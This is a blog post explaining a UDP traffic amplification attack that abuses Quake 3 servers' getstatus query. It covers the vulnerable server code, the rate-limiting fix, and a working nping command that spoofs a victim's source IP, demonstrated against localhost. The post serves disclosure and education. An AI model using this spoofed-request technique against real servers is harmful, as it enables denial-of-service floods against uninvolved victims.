yuanti.primat.es

yuanti.primat.es

programming archaeology, pedantics, and machine intelligence

31 Dec 2012

Traffic Amplification Attacks via Quake 3

Suppose Alice wishes to launch a DoS attack against Bob. She will rarely want to connect to Bob directly, but would rather get Carol to do so on her behalf. It would be particularly efficient if she could somehow convince Carol to send N bytes to Bob for every M bytes she sends to Carol, where N > M. This is called a traffic amplification attack. Perhaps the most popular traffic amplification tool is the global DNSSEC network, which allows for amplification by up to a factor of 50 (see 1).

An even more efficient attack was posted to bugtraq in March of 2012 2. I haven’t seen any exploit code, so I will show some now (mostly because I wanted to try nping - I’ve completely forgotten how to use hping2 and figured now might be a good time to switch). First, let’s have a look at the vulnerability.

Quake 3 servers implement a UDP-based protocol which supports several out-of-band meta-queries about the server (in addition to game-related messages). UDP addresses are trivial to spoof, so all that’s left to do is find a query with a large reply payload. getstatus FTW (from sv_main.c):

static void SVC_Status( netadr_t from ) {
	char	status[MAX_MSGLEN];
	char	infostring[MAX_INFO_STRING];

        // Code which fills status and infostring.

	NET_OutOfBandPrint( NS_SERVER, from, "statusResponse\n%s\n%s", infostring, status );
}

MAX_MSGLEN (16384) and MAX_INFO_STRING (1024) are defined in qcommon.h. So, in theory this might cause a 17424-byte packet to be sent.

In practice, firstly, the code is arguably buggy, since NET_OutOfBandPrint() sends at most MAX_MSGLEN-sized packets and secondly, MTU-size restrictions may impose a limit on what can be sent over the underlying network. Also, the size of status depends on the number of players connected to the server.

The fix, BTW, is simply to add rate limiting 3:

static leakyBucket_t bucket;

// Allow getstatus to be DoSed relatively easily, but prevent
// excess outbound bandwidth usage when being flooded inbound
if ( SVC_RateLimit( &bucket, 10, 100 ) ) {
	Com_DPrintf( "SVC_Status: rate limit exceeded, dropping request\n" );
	return;
}

Next, we need to find out about the packet format. There are basically three options:

  1. dive into the ioq3 source (start with SV_ConnectionlessPacket() and SV_PacketEvent(), end up in common.c, net_chan.c, and msg.c 4)
  2. sniff an existing client
  3. use the mighty Google machine

It’s four 0xFF bytes followed by the string “getstatus” (a 13 byte message). In nping, this looks as follows:

nping --udp                      \
      --count       1            \
      --dest-ip     $q3_ip       \
      --dest-port   $q3_port     \
      --source-ip   $target_ip   \
      --source-port $target_port \
      --data        "FFFFFFFF676574737461747573"

Of course, Wireshark has built-in support. Anyways, amplification factor >1000. Here’s the exploit in action:

# ./q3pwn.sh 127.0.0.1 27960 127.0.0.1 31337

Starting Nping 0.6.01 ( http://nmap.org/nping ) at 2013-02-12 10:03 CET
SENT (0.0344s) UDP 127.0.0.1:31337 > 127.0.0.1:27960 ttl=64 id=30743 iplen=41

I used the q3ts server since I didn’t have access to a pak0.pk3.

$ ./a.out -q

Quake 3 engine testing server 0.3
by Luigi Auriemma
e-mail: aluigi@autistici.org
web:    aluigi.org


### Command-line arguments to choose infoResponse: ###
-q    Quake 3 arena 1.32 (default!)            port 27960
-s    Soldier of Fortune 2 1.03 GOLD           port 28190
-r    Return to Castle Wolfenstein 1.41        port 27960
-m    Medal of Honor: Allied Assault 1.11 v9   port 12203


--> Quake 3 arena 1.32

Binding UDP port 27960

Waiting clients
   127.0.0.1:31337 = GETSTATUS

The reply gets sent to the target port:

$ ncat --udp --listen --verbose
Ncat: Version 6.01 ( http://nmap.org/ncat )
Ncat: Listening on :::31337
Ncat: Listening on 0.0.0.0:31337
├┐├┐├┐├┐statusResponse
\sv_punkbuster\0\capturelimit\0\g_blueTeam\Pagans\g_redTeam\Stroggs\sv_floodProtect\1\sv_maxPing\0\sv_minPing\0\sv_maxRate\0\sv_hostname\hostname\g_maxGameClients\0\sv_maxclients\8\timelimit\0\fraglimit\50\dmflags\0\version\Q3 1.32 linux-i386 Oct  7 2002\g_gametype\0\protocol\68\mapname\Q3DM1\sv_privateClients\0\sv_allowDownload\0\bot_minplayers\0\gamename\baseq3\g_needpass\0.0 0 "TEST"

  1. http://cr.yp.to/talks/2010.12.28/slides.pdf ↩︎

  2. http://seclists.org/bugtraq/2012/Mar/127 ↩︎

  3. https://github.com/ioquake/ioq3/commit/4056c9035825b2c6ffef3378b4af78e7e70bb743 ↩︎

  4. http://aluigi.altervista.org/papers/q3info.txt ↩︎